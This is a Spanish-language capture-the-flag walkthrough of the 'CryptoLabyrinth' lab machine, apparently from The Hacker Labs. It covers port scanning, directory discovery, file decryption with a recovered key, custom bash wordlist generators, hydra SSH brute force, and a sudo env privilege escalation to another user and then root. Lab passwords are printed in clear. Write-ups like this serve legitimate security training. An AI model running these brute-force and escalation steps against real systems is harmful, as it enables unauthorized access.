CryptoLabyrinth
✍️ Autor: beafn28🔍 Dificultad: Fácil📅 Fecha de creación: 25/10/2024 🖥️The Hacker Labs
🔍 RECONOCIMIENTO
En primer lugar, tras conectarnos a la máquina, utilizamos el comando:
ping -c 1 192.168.1.82para verificar la conectividad de red.

A continuación, realizamos el comando:
nmap -sVC -p- -n --min-rate 5000 192.168.1.82para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 22 perteneciente al servicio SSH y el puerto 80 perteneciente al servicio HTTP están abiertos por lo que a continuación se indagará más.
🔎 EXPLORACIÓN
Se utiliza el comando:
sudo nmap -sCV -p22,80 -v 192.168.1.82para obtener más información sobre esos puertos específicamente.

Seguimos indagando más sobre los puertos y ahora indagamos sobre el servicio HTTP. Se ingresó la dirección IP en el navegador lo que llevó a que la página web nos mencione una pista y descubrimos la página por defecto de Apache.

Revisando el código fuente nos encontramos una cadena que podría ser una contraseña.
Ahora buscaremos directorios con la herramienta Gobuster a través de:
gobuster dir -u http://192.168.1.82/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Descubrimos un directorio oculto llamado /hidden por lo que indagamos qué contenido habrá.
Observamos varios archivos por lo que nos los descargamos e indagaremos más a fondo pero tiene pinta que hay trata de criptografía.
wget -r -np -nH --cut-dirs=2 --reject "index.html*" http://192.168.1.82/hidden/🚀 EXPLOTACIÓN
Con la información obtenida anteriormente, realizamos el comando:
openssl enc -aes-256-cbc -d -in ~/Desktop/alice_aes.enc -out ~/Desktop/alice_password.txt -k 'supercomplexkey!' -iter 10000openssl enc -aes-256-cbc -d -in ~/Desktop/alice_aes.enc -out ~/Desktop/alice_password.txt -k 'supercomplexkey!' -pbkdf2Descifra el archivo alice_aes.enc utilizando AES-256-CBC con la clave supercomplexkey!,y guarda el resultado en el archivo alice_password.txt. La opción de iteración asegura que el proceso de derivación de la clave sea más seguro al hacerlo más difícil de atacar por fuerza bruta.
Nota: la clave se encuentra en el archivo numeros_suerte.txt
Hemos descubierto de alice que es superSecurePassword!
Vamos a descubrir las credenciales del usuario bob, al parecer hay varios hashes por lo que los vamos a crackear.
Nos aseguramos de tener todos los hashes de las contraseñas de Bob en un solo archivo. Combinamos los hashes en un único archivo de texto usando el siguiente comando:
cat bob_password*.hash > bob_passwords.hashDesciframos estos hashes y se nos proporciona 4 contraseñas y al probar vemos que no son. Hay un hash que falta por lo que creamos un diccionario con la cadena vista en el código fuente.
#!/bin/bash
# Verificar si se proporcionó una palabra
if [ "$#" -ne 1 ]; then
echo "Uso: $0 <palabra>"
exit 1
fi
# Palabra proporcionada por el usuario
palabra="$1"
# Eliminar los últimos dos asteriscos (si existen)
palabra_sin_asteriscos="${palabra//\*/}"
# Definir los caracteres alfanuméricos (mayúsculas, minúsculas y dígitos)
caracteres="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
# Crear un archivo de salida
archivo_salida="combinaciones.txt"
> "$archivo_salida" # Vaciar el archivo si ya existe
# Generar combinaciones con el comando seq y expandiendo directamente los caracteres
for i in $(seq 0 $((${#caracteres}-1))); do
for j in $(seq 0 $((${#caracteres}-1))); do
# Concatenar la palabra sin asteriscos con los caracteres generados
echo "${palabra_sin_asteriscos}${caracteres:$i:1}${caracteres:$j:1}" >> "$archivo_salida"
done
done
echo "Combinaciones generadas y guardadas en $archivo_salida"
./rompe.sh "2LWxmDsW0**"
Realizamos la fuerza bruta al usuario bob con las combinaciones generadas anteriormente.

Tras haber obtenido las credenciales, iniciamos sesión con bob.
ssh bob@192.168.1.82
🔐 PRIVILEGIOS
Al estar dentro y ejecutar:
whoamiaún no somos root, por lo que hacemos:
sudo -lpara ver si hay algo para explotar.

Escalada de privilegios con env (Bob)
El binario /usr/bin/env puede ser utilizado para escalar privilegios cuando tiene permisos de sudo sin contraseña pero con el usuario alice. A continuación te muestro cómo podrías hacerlo siguiendo los pasos proporcionados por GTFObins.
Comando de GTFObins (env) para obtener una shell de root:
sudo -u alice /usr/bin/env /bin/shMejoramos la TTY para trabajar en alice.

Revisando entre los directorios encontramos en el directorio /mnt un archivo secreto.

Creamos un diccionario como anteriormente para descifrar la contraseña correcta.
#!/bin/bash
# Verificar si se proporcionó una palabra
if [ "$#" -ne 1 ]; then
echo "Uso: $0 <palabra>"
exit 1
fi
# Palabra proporcionada por el usuario
palabra="$1"
# Eliminar los asteriscos de la palabra
palabra_sin_asteriscos="${palabra//\*/}"
# Definir los caracteres alfanuméricos (mayúsculas, minúsculas y dígitos)
caracteres="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
# Crear un archivo de salida
archivo_salida="combinaciones.txt"
> "$archivo_salida" # Vaciar el archivo si ya existe
# Obtener la longitud de la palabra sin asteriscos
longitud=${#palabra_sin_asteriscos}
# Generar todas las combinaciones de 2 caracteres
for ((i = 0; i < ${#caracteres}; i++)); do
for ((j = 0; j < ${#caracteres}; j++)); do
# Insertar los caracteres en las posiciones deseadas
combinacion="${palabra_sin_asteriscos:0:4}${caracteres:i:1}${palabra_sin_asteriscos:4:5}${caracteres:j:1}"
# Escribir en el archivo
echo "$combinacion" >> "$archivo_salida"
done
done
echo "Combinaciones generadas y guardadas en $archivo_salida"

Realizamos fuerza bruta para conseguir la contraseña completa.
hydra -l root -P combinaciones.txt ssh://192.168.1.82Obtenemos la contraseña completa que es 2LWx9DsW0A3.

Ya somos root por lo que ahora encontraremos la bandera en sus directorios.
Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
Last updated
Was this helpful?